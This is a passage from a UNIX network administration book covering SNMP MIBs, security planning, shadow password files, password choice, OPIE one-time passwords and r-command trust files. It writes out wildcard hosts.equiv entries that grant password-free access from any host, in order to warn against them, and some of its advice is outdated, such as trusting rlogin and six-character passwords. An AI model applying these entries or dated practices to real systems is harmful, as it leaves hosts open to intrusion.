Objects are defined just as formally as they are named. The syntax used to define managed objects is Abstract Syntax Notation One (ASN.1). ASN.1 is ISO Standard 8824, Specification of Abstract Syntax Notation One (ASN.1). It is a very formal set of language rules for defining data. It makes the data definition independent of incompatibilities between systems and character sets. ASN.1 also includes a set of rules for encoding data for transfer over a network. These rules are defined in ISO Standard 8825, Specification of Basic Encoding Rules for Abstract Syntax Notation One (ASN.1). The Basic Encoding Rules (BER) define that bit 8 of an octet is sent first, that 2's complement is used for signed integers, and other nitty-gritty details of data transmission.

Every object managed by SNMP has a unique object identifier defined by the ASN.1 syntax and encoding defined by BER. When all of these unique objects are grouped together, they are called the Management Information Base (MIB). The MIB refers to all information that is managed by SNMP. However, we usually refer to "a MIB" or "the MIBs" (plural), meaning the individual databases of management information formally defined by an RFC or privately defined by a vendor.

MIBI and MIBII are standards defined by RFCs. MIBII is a superset of MIBI, and is the standard MIB for monitoring TCP/IP. It provides such information as the number of packets transmitted into and out of an interface, and the number of errors that occurred sending and receiving those packets - useful information for spotting usage trends and potential trouble spots. Every agent supports MIBI or MIBII.

Some systems also provide a private MIB in addition to the standard MIBII. Private MIBs add to the monitoring capability by providing system-specific information. Most UNIX systems do not provide private MIBs. Private MIBs are most common on network hardware like routers, hubs, and switches.

No matter what MIBs are provided by the agents, it is the monitoring software that displays the information for the system administrator. A private MIB won't do you any good unless your network monitoring software also supports that MIB. For this reason, most administrators prefer to purchase a monitor from the vendor that supplies the bulk of their network equipment. Another possibility is to select a monitor that includes a MIB compiler, which gives you the most flexibility. A MIB compiler reads in the ASN.1 description of a MIB and adds the MIB to the monitor. A MIB compiler makes the monitor extensible because if you can get the ASN.1 source from the network equipment vendor, you can add the vendor's private MIB to your monitor.

MIB compilers are only part of the advanced features offered by some monitors. Some of the features offered are:

Network maps

Some monitors automatically draw a map of the network. Colors are used to indicate the state (up, down, etc.) of the devices on the network. At a glance, the network manager sees the overall state of the network.

Tabular data displays

Data displayed in tables or rendered into charts is used to make comparisons between different devices. Some monitors output data that can then be read into a standard spreadsheet or graphing program.

Filters

Filters sift the data coming in from the agents in order to detect certain conditions.

Alarms

Alarms indicate when "thresholds" are exceeded or special events occur. For example, you may want an alarm to trigger when your server exceeds some specified number of transmit errors.

Don't be put off by the jargon. All of this detail is necessary to formally define a network management scheme that is independent of the managed systems, but you don't need to memorize it. You need to know that a MIB is a collection of management information, that an NMS is the network management station, and that an agent runs in each managed device in order to make intelligent decisions when selecting an SNMP monitor. This information provides that necessary background. The features available in network monitors vary widely; so does the price. Select an SNMP monitor that is suitable for the complexity of your network and the size of your budget.

Previous: 11.8 Protocol Case Study | TCP/IP Network Administration | Next: 11.10 Summary
11.8 Protocol Case Study | Book Index | 11.10 Summary


[Chapter 11] 11.10 Summary

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 11.9 Simple Network Management Protocol Chapter 11
Troubleshooting TCP/IP 		Next: 12. Network Security

11.10 Summary

Every network will have problems. This chapter discusses the tools and techniques that can help you recover from these problems, and the planning and monitoring that can help avoid them. A solution is sometimes obvious if you can just gain enough information about the problem. UNIX provides several built-in software tools that can help you gather information about system configuration, addressing, routing, name service and other vital network components. Gather your tools and learn how to use them before a breakdown occurs.

In the next chapter, we talk about another task that is important to the maintenance of a reliable network: keeping your network secure.

Previous: 11.9 Simple Network Management Protocol | TCP/IP Network Administration | Next: 12. Network Security
11.9 Simple Network Management Protocol | Book Index | 12. Network Security


[Chapter 12] Network Security

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 11.10 Summary Chapter 12 Next: 12.2 User Authentication

12. Network Security

Contents:
Security Planning
User Authentication
Application Security
Security Monitoring
Access Control
Encryption
Firewalls
Words to the Wise
Summary

Hosts attached to a network - particularly the worldwide Internet - are exposed to a wider range of security threats than are unconnected hosts. Network security reduces the risks of connecting to a network. But by nature, network access and computer security work at cross-purposes. A network is a data highway designed to increase access to computer systems, while security is designed to control access. Providing network security is a balancing act between open access and security.

The highway analogy is very appropriate. Like a highway, the network provides equal access for all - welcome visitors as well as unwelcome intruders. At home, you provide security for your possessions by locking your house, not by blocking the streets. Likewise, network security generally means providing adequate security on individual host computers, not providing security directly on the network.

In very small towns, where people know each other, doors are often left unlocked. But in big cities, doors have deadbolts and chains. In the last decade, the Internet has grown from a small town of a few thousand users to a big city of millions of users. Just as the anonymity of a big city turns neighbors into strangers, the growth of the Internet has reduced the level of trust between network neighbors. The ever-increasing need for computer security is an unfortunate side effect. Growth, however, is not all bad. In the same way that a big city offers more choices and more services, the expanded network provides increased services. For most of us, security consciousness is a small price to pay for network access.

Network break-ins have increased as the network has grown and become more impersonal, but it is easy to exaggerate the extent of these security breaches. Over-reacting to the threat of break-ins may hinder the way you use the network. Don't make the cure worse than the disease. The best advice about network security is to use common sense. RFC 1244, Site Security Handbook, by Holbrook, Reynold, et al., states this principle very well:

Common sense is the most appropriate tool that can be used to establish your security policy. Elaborate security schemes and mechanisms are impressive, and they do have their place, yet there is little point in investing money and time on an elaborate implementation scheme if the simple controls are forgotten.

This chapter emphasizes the simple controls that can be used to increase your network's security. A reasonable approach to security, based on the level of security required by your system, is the most cost-effective - both in terms of actual expense and in terms of productivity.

12.1 Security Planning

One of the most important network security tasks, and probably one of the least enjoyable, is developing a network security policy. Most computer people want a technical solution to every problem. We want to find a program that "fixes" the network security problem. Few of us want to write a paper on network security policies and procedures. However, a well-thought-out security plan will help you decide what needs to be protected, how much you are willing to invest in protecting it, and who will be responsible for carrying out the steps to protect it.

12.1.1 Assessing the Threat

The first step toward developing an effective network security plan is to assess the threat that connection presents to your systems. RFC 1244 identifies three distinct types of security threats usually associated with network connectivity:

Unauthorized access

A break-in by an unauthorized person.

Disclosure of information

Any problem that causes the disclosure of valuable or sensitive information to people who should not have access to the information.

Denial of service

Any problem that makes it difficult or impossible for the system to continue to perform productive work.

Assess these threats in relation to the number of users who would be affected, as well as to the sensitivity of the information that might be compromised. For some organizations, break-ins are an embarrassment that can undermine the confidence that others have in the organization. Intruders tend to target government and academic organizations that will be embarrassed by the break-in. But for most organizations, unauthorized access is not a major problem unless it involves one of the other threats: disclosure of information or denial of service.

Assessing the threat of information disclosure depends on the type of information that could be compromised. While no system with highly classified information should ever be directly connected to the Internet, systems with other types of sensitive information might be connected without undue hazard. In most cases, files such as personnel and medical records, corporate plans, and credit reports can be adequately protected by standard UNIX file security procedures. However, if the risk of liability in case of disclosure is great, the host may choose not to be connected to the Internet.

Denial of service can be a severe problem if it impacts many users or a major mission of your organization. Some systems can be connected to the network with little concern. The benefit of connecting individual workstations and small servers to the Internet generally outweighs the chance of having service interrupted for the individuals and small groups served by these systems. Other systems may be vital to the survival of your organization. The threat of losing the services of a mission-critical system must be evaluated seriously before connecting such a system to the network.

In his class on computer security, Brent Chapman classifies information security threats into three categories: threats to the secrecy, availability, and integrity of data. Secrecy is the need to prevent the disclosure of sensitive information. Availability means that you want information and information processing resources available when they are needed; a denial-of-service attack disrupts availability. The need for the integrity of information is equally obvious, but its link to computer security is more subtle. Once someone has gained unauthorized access to a system, the integrity of the information on that system is in doubt. Furthermore, some intruders just want to compromise the integrity of data. We are all familiar with cases where intruders gain access to a Web server and change the data on the server in order to embarrass the organization that runs the Web site. Thinking about the impact network threats have on your data can make it easier to assess the threat.

Network threats are not, of course, the only threats to computer security, or the only reasons for denial of service. Natural disasters and internal threats (threats from people who have legitimate access to a system) are also serious. Network security has had a lot of publicity, so it's a fashionable thing to worry about; but more computer time has probably been lost because of fires than has ever been lost because of network security problems. Similarly, more data has probably been improperly disclosed by authorized users than by unauthorized break-ins. This book naturally emphasizes network security, but network security is only part of a larger security plan that includes physical security and disaster recovery plans.

Many traditional (non-network) security threats are handled, in part, by physical security. Don't forget to provide an adequate level of physical security for your network equipment and cables. Again, the investment in physical security should be based on your realistic assessment of the threat.

12.1.2 Distributed Control

One approach to network security is to distribute responsibility for, and control over, segments of a large network to small groups within the organization. This approach involves a large number of people in security, and runs counter to the school of thought that seeks to increase security by centralizing control. However, distributing responsibility and control to small groups can create an environment of small networks composed of trusted hosts. Using the analogy of small towns and big cities, it is similar to creating a neighborhood watch to reduce risks by giving people connection with their neighbors, mutual responsibility for one another, and control over their own fates.

Additionally, distributing security responsibilities formally recognizes one of the realities of network security - most security actions take place on individual systems. The managers of these systems must know that they are responsible for security, and that their contribution to network security is recognized and appreciated. If people are expected to do a job, they must be empowered to do it.

12.1.2.1 Use subnets to distribute control

Subnets are a possible tool for distributing network control. A subnet administrator should be appointed when a subnet is created. She is then responsible for the security of the network and for assigning IP addresses to the devices connected to the networks. Assigning IP addresses gives the subnet administrator some control over who connects to the subnet. It also helps to ensure that she knows each system connected and who is responsible for that system. When the subnet administrator gives a system an IP address, she also delegates certain security responsibilities to the system's administrator. Likewise, when the system administrator grants a user an account, the user takes on certain security responsibilities.

The hierarchy of responsibility flows from the network administrator, to the subnet administrator, to the system administrator, and finally to the user. At each point in this hierarchy the individuals are given responsibilities and the power to carry them out. To support this structure, it is important for users to know what they are responsible for and how to carry out that responsibility. The network security policy described in the next section provides this information.

12.1.2.2 Use mailing lists to distribute information

If your site adopts distributed control, you must develop a system for disseminating security information to each group. Mailing lists for each administrative level can be used for this purpose. The network administrator receives security information from outside authorities, filters out irrelevant material, and forwards the relevant material to the subnet administrators. Subnet administrators forward the relevant parts to their system administrators, who in turn forward what they consider important to the individual users. The filtering of information at each level ensures that individuals get the information they need, without receiving too much. If too much unnecessary material is distributed, users begin to ignore everything they receive.

At the top of this information structure is the information that the network administrator receives from outside authorities. In order to receive this, the network administrator should join the appropriate mailing lists and newsgroups and browse the appropriate Web sites. A few places to start looking for computer security information are the following:

Your UNIX Vendor

Many vendors have their own security information mailing lists.

Security Newsgroups

The comp.security newsgroups - comp.security.unix, comp.security.firewalls, comp.security.announce, and comp.security.misc - contain some useful information. Like most newsgroups, they contain lots of unimportant and uninteresting material. But they also contain an occasional gem.

FIRST Mailing List

The Forum of Incident Response and Security Teams (FIRST) is a worldwide organization of computer security response teams. FIRST provides a public mailing list, first-info@first.org, for computer security information. To subscribe to this list, send email to first-majordomo@first.org that contains the line:

subscribe first-info YOUR-EMAIL-ADDRESS

where YOUR-EMAIL-ADDRESS is literally your email address.

NIST Computer Security Alerts

The National Institute of Standards and Technology's Computer Security Division maintains a Web site with pointers to security-related Web pages all over the world. As a single source for security alerts from several different organizations, the site http://csrc.nist.gov/secalert/ can't be beat.

Computer Emergency Response Team (CERT) Advisories

The CERT advisories provide information about known security problems, and the fixes to these problems. You can retrieve these advisories from ftp://info.cert.org/pub/cert_advisories. The CERT Web site is also worth a visit: http://www.cert.org.

DDN Security Bulletins

These bulletins are very similar in content to the CERT advisories, though DDN bulletins do occasionally add information. DDN bulletins and CERT advisories deal primarily with network security threats. DDN bulletins can be viewed online with your Web browser at http://nic.ddn.mil/SCC/bulletins.html.

Risks Forum

The risks forum discusses the full range of computer security risks. The forum is available on the Web at http://catless.ncl.ac.uk/Risks.

Computer Virus Information

The VIRUS-L list deals primarily with computer viruses - a threat usually associated with PCs. You can retrieve the VIRUS-L archive from ftp://ftp.infospace.com/pub/virus-l. An equally important document, at http://ciac.llnl.gov/ciac/CIACHoaxes.html, provides information about computer virus hoaxes. False rumors about computer viruses can waste as much time as tracking down real viruses.

12.1.3 Writing a Security Policy

Security is largely a "people problem." People, not computers, are responsible for implementing security procedures, and people are responsible when security is breached. Therefore, network security is ineffective unless people know their responsibilities. It is important to write a security policy that clearly states what is expected and who it is expected from. A network security policy should define:

The network user's security responsibilities

The policy may require users to change their passwords at certain intervals, to use passwords that meet certain guidelines, or to perform certain checks to see if their accounts have been accessed by someone else. Whatever is expected from users, it is important that it be clearly defined.

The system administrator's security responsibilities

The policy may require that every host use specific security measures, login banner messages, and monitoring and accounting procedures. It might list applications that should not be run on any host attached to the network.

The proper use of network resources

Define who can use network resources, what things they can do, and what things they should not do. If your organization takes the position that email, files, and histories of computer activity are subject to security monitoring, tell the users very clearly that this is the policy.

The actions taken when a security problem is detected

What should be done when a security problem is detected? Who should be notified? It is easy to overlook things during a crisis, so you should have a detailed list of the exact steps that a system administrator, or user, should take when a security breach has been detected. This could be as simple as telling the users to "touch nothing, and call the network security officer." But even these simple actions should be in the policy so that they are readily available.

Connecting to the Internet brings with it certain security responsibilities. RFC 1281, A Guideline for the Secure Operation of the Internet, provides guidance for users and network administrators on how to use the Internet in a secure and responsible manner. Reading this RFC will provide insight into the information that should be in your security policy.

A great deal of thought is necessary to produce a complete network security policy. The outline shown above describes the contents of a network policy document, but if you are personally responsible for writing a policy, you may want more detailed guidance. I also recommend that you read RFC 1244. It is a very good guide for developing a security plan.

Security planning (assessing the threat, assigning security responsibilities, and writing a security policy) is the basic building block of network security, but a plan must be implemented before it can have any effect. In the remainder of this chapter, we'll turn our attention to implementing basic security procedures.

Previous: 11.10 Summary | TCP/IP Network Administration | Next: 12.2 User Authentication
11.10 Summary | Book Index | 12.2 User Authentication


[Chapter 12] 12.2 User Authentication

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 12.1 Security Planning Chapter 12
Network Security 		Next: 12.3 Application Security

12.2 User Authentication

Good passwords are one of the simplest parts of good network security. Passwords are used to log in to systems that use password authentication. Popular mythology says that network security breaches are caused by sophisticated security crackers who discover software security holes to break into computer systems. In reality, many intruders enter systems simply by guessing or stealing passwords, or by exploiting well-known security problems in outdated software. Later in this chapter we look at guidelines for keeping software up-to-date, and at ways to prevent a thief from stealing your password. First, let's see what we can do to prevent it from being guessed.

These are a few things that make it easy to guess passwords:

  • Accounts that use the account name as the password. Accounts with this type of trivial password are called joe accounts.

  • Guest or demonstration accounts that require no password, or use a well-publicized password.

  • System accounts with default passwords.

  • User who tell their passwords to others.

Guessing these kinds of passwords requires no skill, just lots of spare time! Changing your password frequently is a deterrent to password guessing. However, if you choose good passwords, don't change them so often that it is hard to remember them. Many security experts recommend that passwords should be changed about every 3 to 6 months.

A more sophisticated form of password guessing is dictionary guessing. Dictionary guessing uses a program that encrypts each word in a dictionary (e.g., /usr/dict/words) and compares each encrypted word to the encrypted password in the /etc/passwd file. Dictionary guessing is not limited to words from a dictionary. Things known about you (your name, initials, telephone number, etc.) are also run through the guessing program when trying to guess the password for your account. Because of dictionary guessing, you must protect the /etc/passwd file.

Some systems provide a shadow password file to hide the encrypted passwords from potential intruders. If your system has a shadow password facility, use it. Hiding encrypted passwords greatly reduces the risk of password guessing.

12.2.1 The Shadow Password File

Shadow password files have restricted permissions that prevent them from being read by intruders. The encrypted password is stored only in the shadow password file, /etc/shadow, and not in the /etc/passwd file. The passwd file is maintained as a world-readable file because it contains information that various programs use. The shadow file can only be read by root and it does not duplicate the information in the passwd file. It only contains passwords and the information needed to manage them. The format of a shadow file entry on a Solaris system is:

username:password:lastchg:min:max:warn:inactive:expire:flag

username is the login username. password is the encrypted password or one of the keyword values NP and *LK*. lastchg is the date that the password was last changed, written as the number of days from January 1, 1970 to the date of the change. min is the minimum number of days that must elapse before the password can be changed. max is the maximum number of days the user can keep the password before it must be changed. warn is the number of days before the password expires that the user is warned. inactive is the number of days the account can be inactive before it is locked. expire is the date on which the account will be closed. flag is unused.

The encrypted password appears only in this file. Every password field in the /etc/passwd file contains an x, which tells the system to look in the shadow file for the real password. Every password field in the /etc/shadow file contains either an encrypted password, NP, or *LK*. If it contains the keyword NP, it means that there is no password because this is not a login account. System accounts, such as daemon or uucp, are not login accounts, so they have NP in the password field. *LK* in the password field means that this account has been locked and is therefore disabled from any further use.

While the most important purpose of the shadow file is to protect the password, the additional fields in the shadow entry provide other useful security services. One of these is password aging. A password aging mechanism defines a lifetime for each password. When a password reaches the end of its lifetime, the password aging mechanism notifies the user to change the password. If it is not changed within some specified period, the password is removed from the system and the user is blocked from using his account.

The lastchg, max, and warn fields all play a role in password aging. They allow the system to know when the password was changed and how long it should be kept, as well as when the user should be warned about his impending doom. Another nice feature of the shadow file is the min field. This is a more subtle aspect of password aging. It prevents the user from changing her favorite password to a dummy password and then immediately back to her favorite. When the password is changed it must be used for the number of days defined by min before it can be changed again. This reduces one of the common tricks used to avoid really changing passwords.

The inactive and expire fields help eliminate unused accounts. Here "inactivity" is determined by the number of days the account continues with an expired password. Once the password expires, the user is given some number of days to log in and set a new password. If the user does not log in before the specified number of days has elapsed, the account is locked and the user cannot log in.

The expire field lets you a create user account that has a specified "life." When the date stored in the expire field is reached, the user account is disabled even if it is still active. The expiration date is stored as the number of days since January 1, 1970.

On a Solaris system the /etc/shadow file is not edited directly. It is modified by using the "users" sub-window of the admintool or special options on the passwd command line. This window is shown in Figure 12.1 The username, password, min, max, warn, inactive, and expire fields are clearly shown.

Figure 12.1: Admintool password maintenance

The passwd command on Solaris systems has -n min, -w warn, and -x max options to set the min, max, and warn fields in the /etc/shadow file. Only the root user can invoke these options. Here root sets the maximum life of Tyler's password to 180 days:

# passwd -x 180 tyler

The Solaris system permits the system administrator to set default values for all of these options so that they do not have to be set every time a user is added through the admintool or the passwd command line. The default values are set in the /etc/default/passwd file.

% cat /etc/default/passwd
#ident  "@(#)passwd.dfl 1.3     92/07/14 SMI"
MAXWEEKS=
MINWEEKS=
PASSLENGTH=6

The default values that can be set in the /etc/default/passwd file are:

MAXWEEKS

The maximum life of a password defined in weeks - not days. The 180-day period used in the example above would be defined with this parameter as MAXWEEKS=26.

MINWEEKS

The minimum number of weeks a password must be used before it can be changed.

PASSLENGTH

The minimum number of characters that a password must contain. This is set to 6 in the sample file. Only the first eight characters are significant on a Solaris system. Setting the value above 8 does not change that fact.

WARNWEEKS

The number of weeks before a password expires that the user is warned.

This section uses Solaris as an example because the shadow password system is provided as part of the Solaris operating system. If it doesn't come with your system, you may be able to download shadow password software from the Internet. It is available for Linux systems. The shadow file described above is exactly the same format used on Linux systems and it functions in the same way.

No intruder can take the encrypted password and decrypt it back to its original form, but encrypted passwords can be compared against encrypted dictionaries. If bad passwords are used, they can be easily guessed. Take care to protect the /etc/passwd file and choose good passwords.

12.2.2 Choosing a Password

A good password is an essential part of security. We usually think of the password used for login; however, one-time passwords and encryption keys are needed. For all of these purposes you want to choose a good password. Choosing a good password boils down to this, don't choose a password that can be guessed using the techniques described above. Some guidelines for choosing a good password are:

  • Don't use your login name.

  • Don't use the name of anyone or anything.

  • Don't use any English, or foreign language, word or abbreviation.

  • Don't use any personal information associated with the owner of the account. For example, don't use initials, phone number, social security number, job title, organizational unit, etc.

  • Don't use keyboard sequences, e.g., qwerty.

  • Don't use any of the above spelled backwards, or in caps, or otherwise disguised.

  • Don't use an all-numeric password.

  • Don't use a sample password, no matter how good, that you've gotten from a book that discusses computer security.

  • Do use a mixture of numbers, special characters, and mixed-case letters.

  • Do use at least six characters.

  • Do use a seemingly random selection of letters and numbers.

Common suggestions for constructing seemingly random passwords are:

  1. Use the first letter of each word from a line in a book, song, or poem. For example: "People don't know you and trust is a joke." [1] would produce Pd'ky&tiaj.

    [1] Toad the Wet Sprocket, "Walk on the Ocean."

  2. Use the output from a random password generator. Select a random string that can be pronounced and is easy to remember. For example, the random string "adazac" can be pronounced a-da-zac, and you can remember it by thinking of it as "A-to-Z." Add uppercase letters to create your own emphasis, e.g., aDAzac. [2]

    [2] A VMS-system password generator created this password.

  3. Use two short words connected by punctuation, e.g., wRen%Rug.

  4. Use numbers and letters to create an imaginary vanity license plate password, e.g., 2hot4U?.

A common theme of these suggestions is that the password should be easy to remember. Avoid passwords that must be written down to be remembered. If unreliable people gain access to your office and find the password you have written down, the security of your system will be compromised.

However, don't assume that you will not be able to remember a random password. It may be difficult the first few times you use the password, but any password that is used often enough is easy to remember. If you have an account on a system that you rarely use, you may have trouble remembering a random password. But in that case, the best solution is to get rid of the account. Unused and under-utilized accounts are prime targets for intruders. They like to attack unused accounts because there is no user to notice changes to the files or strange Last login: messages. Remove all unused accounts from your systems.

How do you ensure that the guidance for creating new passwords is followed? The most important step is to make sure that every user knows these suggestions and the importance of following them. Cover this topic in your network security plan, and periodically reinforce it through newsletter articles and online system bulletins.

It is also possible to use programs that force users to follow specific password selection guidelines. The Web page http://csrc.nist.gov/tools/tools.htm lists several programs that do exactly that.

12.2.3 One-Time Passwords

Sometimes good passwords are not enough. Passwords are transmitted across the network as clear text. Intruders use protocol-analyzer software to spy on network traffic and steal passwords. If a thief steals your password, it does not matter how good the password was.

The thief can be on any network that handles your TCP/IP packets. If you log in through your local network you have to worry only about local snoops. But if you log in over the Internet you must worry about unseen listeners from any number of unknown networks.

The rlogin command is not vulnerable to this type of attack. rlogin does not send the password over the network, because user authentication is done only on the local host. The remote host accepts the user because it trusts the local host. However, trust should be extended only to UNIX hosts on your local network that you really do trust. Never extend trust to remote systems. It is too easy for an intruder to pretend that he is logged into a trusted system by stealing the trusted system's IP address, or by corrupting DNS so that it gives his system's address in response to the trusted system's name. rlogin does not help when you must log in from a remote site or an untrusted system. Use one-time passwords for remote logins. Because a one-time password can be used only once, a thief who steals the password cannot use it.

Naturally, one-time passwords systems are a hassle. You must carry a list of one-time passwords, or something that can generate them, with you any time you want to log in. If you forget the password list, you cannot log in. However, this may not be as big a problem as it seems. You usually log in from your office where your primary login host is probably on your desktop or your local area network. When you log in to your desktop system from its keyboard, the password does not traverse the network, so you can use a reusable password. And rlogin can be used between UNIX hosts on a local area network. One-time passwords are only needed for the occasions when you log in from a remote location or an untrusted host. For this reason, some one-time password systems are designed to allow reusable passwords when they are appropriate.

There are several one-time password systems. Some use specialized hardware such as "smart cards." OPIE is a free software system that requires no special hardware.

12.2.4 OPIE

One-time Passwords In Everything (OPIE) is free software from the U.S. Naval Research Laboratory (NRL) that modifies a UNIX system to use one-time passwords. OPIE is directly derived from SKey, which is a one-time password system created by Bell Communications Research (Bellcore).

Download OPIE from ftp://ftp.nrl.navy.mil/pub/security/opie/opie-2.3.tar.gz. It is a binary file. gunzip the file and extract it using tar. The directory this produces contains the source files, Makefiles, and scripts necessary to compile and install OPIE.

OPIE comes with configure, an auto-configuration script that detects your system's configuration and modifies the Makefile accordingly. It does a good job, but you still should manually edit the Makefile to make sure it is correct. For example: my Linux system uses the Washington University FTP daemon wu.ftpd. OPIE replaces login, su, and ftpd with its own version of these programs. On my Linux system, configure did not find ftpd and I did not notice the problem when I checked the Makefile. make ran without errors but make install failed during the install of the OPIE FTP daemon. The Makefile was easily corrected and the rerun of make install was successful.

The effects of OPIE are evident as soon as the install completes. Run su and you're prompted with root's response: instead of Password:. login prompts with Response or Password: instead of just Password:. The response requested by these programs is the OPIE equivalent of a password. Programs that prompt with Response or Password accept either the OPIE response or the traditional password from the /etc/passwd file. This feature permits users to migrate gracefully from traditional passwords to OPIE. It also allows local console logins with re-usable passwords while permitting remote logins with one-time passwords. The best of both worlds - convenient local logins without creating separate local and remote login accounts!

To use OPIE you must first select a secret password that is used to generate the one-time password list, and then you must run the program that generates the list. To select a secret password, run opiepassword as shown below:

$ opiepasswd -c
Updating kristin:
Reminder  -  Only use this method from the console; NEVER from remote.
 If you are using telnet, xterm, or a dial-in, type ^C now or exit with
 no password. Then run opiepasswd without the -c parameter.
Using MD5 to compute responses.
Enter old secret pass phrase: 3J5Wd6PaWP
Enter new secret pass phrase: 9WA11WSfW95/NT
Again new secret pass phrase: 9WA11WSfW95/NT

The example above shows the user kristin updating her secret password. She runs opiepasswd from the computer's console, as indicated by the -c command option. Running opiepasswd from the console is the most secure. If it is not run from the console, you must have a copy of the opiekey software with you to generate the correct responses needed to enter your old and new secret passwords because clear-text passwords are only accepted from the console. Kristin is prompted to enter her old password and to select a new one. OPIE passwords must be at least 10 characters long. Since the new password is long enough, opiepasswd accepts it and displays the following two lines:

ID kristin OPIE key is 499 be93564
CITE JAN GORY BELA GET ABED

These lines tell Kristin the information she needs to generate OPIE login responses and the first response she will need to log in to the system. The one-time password needed for Kristin's next login response is the second line of this display: a group of six short, uppercase character strings. The first line of the display contains the initial sequence number (499) and the seed (be93564) she needs, along with her secret password, to generate OPIE login responses. The software used to generate those responses is opiekey.

opiekey takes the login sequence number, the user's seed, and the user's secret password as input and outputs the correct one-time password. If you have opiekey software on the system from which you are initiating the login, you can produce one-time passwords one at a time. If, however, you will not have access to opiekey when you are away from your login host, you can use the -n option to request several passwords. Write the passwords down, put them in your wallet, and you're ready to go! [3] In the following example we request five (-n 5) responses from opiekey:

[3] Security experts will cringe when they read this suggestion. Writing down passwords is a "no-no." Frankly, I think the people who steal wallets are more interested in my money and credit cards than in the password to my system. But you should consider this suggestion in light of the level of protection that your system needs.

$ opiekey -n 5 495 wi01309
Using MD5 algorithm to compute response.
Reminder: Don't use  opiekey  from  telnet  or dial-in sessions.
Enter secret pass phrase: UUaX26CPaU
491: HOST VET FOWL SEEK IOWA YAP
492: JOB ARTS WERE FEAT TILE IBIS
493: TRUE BRED JOEL USER HALT EBEN
494: HOOD WED MOLT PAN FED RUBY
495: SUB YAW BILE GLEE OWE NOR

First opiekey tells us that it is using the MD5 algorithm to produce the responses, which is the default for OPIE. For compatibility with older Skey or OPIE implementations, force opiekey to use the MD4 algorithm by using the -4 command-line option. opiekey prompts for your secret password. This is the password you defined with the opiepasswd command. It then prints out the number of responses requested and lists them in sequence number order. The login sequence numbers in the example are 495 to 491. When the sequence number gets down to 10, rerun opiepasswd and select a new secret password. Selecting a new secret password resets the sequence number to 499. The OPIE login prompt displays a sequence number and you must provide the response that goes with that sequence number. For example:

login: tyler
otp-md5 492 wi01309
Response or Password: JOB ARTS WERE FEAT TILE IBIS

At the login: prompt Tyler enters her username. The system then displays a single line that tells her that one-time passwords are being generated with the MD5 algorithm (otp-md5), that this is login sequence number 492, and that the seed used for her one-time passwords is wi01309. She looks up the response for login number 492 and enters the six short strings. She then marks that response off her list because it cannot be used again to log into the system. A response from the list must be used any time she is not sitting at the console of her system. Reusable passwords can be used only at the console.

12.2.5 Secure the r Commands

Some applications use their own security mechanisms. Make sure that the security for these applications is configured properly. In particular, check the UNIX r commands, which are a set of UNIX networking applications comparable to ftp and telnet. Care must be taken to ensure that the r commands don't compromise system security. Improperly configured r commands can open access to your computer facilities to virtually everyone in the world.

In place of password authentication, the r commands use a security system based on trusted hosts and users. Trusted users on trusted hosts are allowed to access the local system without providing a password. Trusted hosts are also called "equivalent hosts" because the system assumes that users given access to a trusted host should be given equivalent access to the local host. The system assumes that user accounts with the same name on both hosts are "owned" by the same user. For example, a user logged in as becky on a trusted system is granted the same access as a user logged in as becky on the local system.

This authentication system requires databases that define the trusted hosts and the trusted users. The databases used to configure the r commands are /etc/hosts.equiv and .rhosts.

The /etc/hosts.equiv file defines the hosts and users that are granted "trusted" r command access to your system. This file can also define hosts and users that are explicitly denied trusted access. Not having trusted access doesn't mean that the user is denied access; it just means that he is required to supply a password.

The basic format of entries in the /etc/hosts.equiv file is:

[+ | -][hostname] [+ | -][username]

The hostname is the name of a "trusted" host, which may optionally be preceded by a plus (+) sign. The plus sign has no real significance, except when used alone. A + sign without a hostname following it is a wildcard character that means "any host."

If a host is granted equivalence, users logged into that host are allowed access to like-named user accounts on your system without providing a password. (This is one good reason for administrators to observe uniform rules in handing out login names.) The optional username is the name of a user on the trusted host who is granted access to all user accounts. If username is specified, that user is not limited to like-named accounts, but is given access to all user accounts without being required to provide a password. [4]

[4] The root account is not included.

The hostname may also be preceded by a minus sign (-). This explicitly says that the host is not an equivalent system. Users from that host must always supply a password when they use an r command to interact with your system. A username can also be preceded with a minus sign. This says that, whatever else may be true about that host, the user is "not trusted" and must always supply a password.

The following examples show how entries in the hosts.equiv file are interpreted:

peanut

Allows password-free access from any user on peanut to a like-named user account on your local system.

-peanut

Denies password-free access from any user on peanut to accounts on your system.

peanut -david

Denies password-free access to the user david, if he attempts to access your system from peanut.

peanut +becky

Allows the user becky to access any account (except root) on your system, without supplying a password, if she logs in from peanut.

+ becky

Allows the user becky to access any account (except root) on your system without supplying a password, no matter what host she logs in from.

This last entry is an example of something that should never be used in your configuration. Don't use a standalone plus sign (+) in place of a hostname. It allows access from any host anywhere, and can open up a big security hole. For example, if the entry shown above was in your hosts.equiv file, an intruder could create an account named becky on his system and gain access to every account on your system. Check the /etc/hosts.equiv and ~/.rhosts files, and /etc/hosts.lpd, to make sure that none of them contain a plus-sign (+) entry. Remember to check the .rhosts file in every user's home directory.

A simple typographical error could give you a standalone plus sign. For example, consider the entry:

+ peanut becky

The system administrator probably meant "give becky password-free access to all accounts when she logs in from peanut." However, with an extraneous space after the + sign, it means "allow users named peanut and becky password-free access from any host in the world." Don't use a plus sign in front of a hostname, and always use care when working with the /etc/hosts.equiv file to avoid security problems.

When configuring the /etc/hosts.equiv file, grant trusted access only to the systems and users you actually trust. Don't grant trusted access to every system attached to your local network. It is best only to trust hosts from your local network when you know the person responsible for that host, and when you know that the host is not available for public use. Don't grant trusted access by default - have some reason for conferring trusted status. Never grant trust to remotely located systems. It is too easy for an intruder to corrupt routing or DNS in order to fool your system when you grant trust to a remote system. Also, never begin your hosts.equiv file with a minus sign (-) as the first character. (This confuses some systems, causing them to improperly grant access.) Always err on the side of caution when creating a hosts.equiv file. Adding trusted hosts as they are requested is much easier than recovering from a malicious intruder.

The .rhosts file grants or denies password-free r command access to a specific user's account. It is placed in the user's home directory and contains entries that define the trusted hosts and users. Entries in the .rhosts file use the same format as entries in the hosts.equiv file, and function in almost the same way. The difference is the scope of access granted by entries in these two files. In the .rhosts file, the entries grant or deny access to a single user account; the entries in hosts.equiv control access to an entire system.

This functional difference can be shown in a simple example. Assume the following entry:

pecan anthony

In almond's hosts.equiv file, this entry means that the user anthony on pecan can access any account on almond without entering a password. In an .rhosts file in the home directory of user resnick, the exact same entry allows anthony to rlogin from pecan as resnick without entering a password, but it does not grant password-free access to any other accounts on almond.

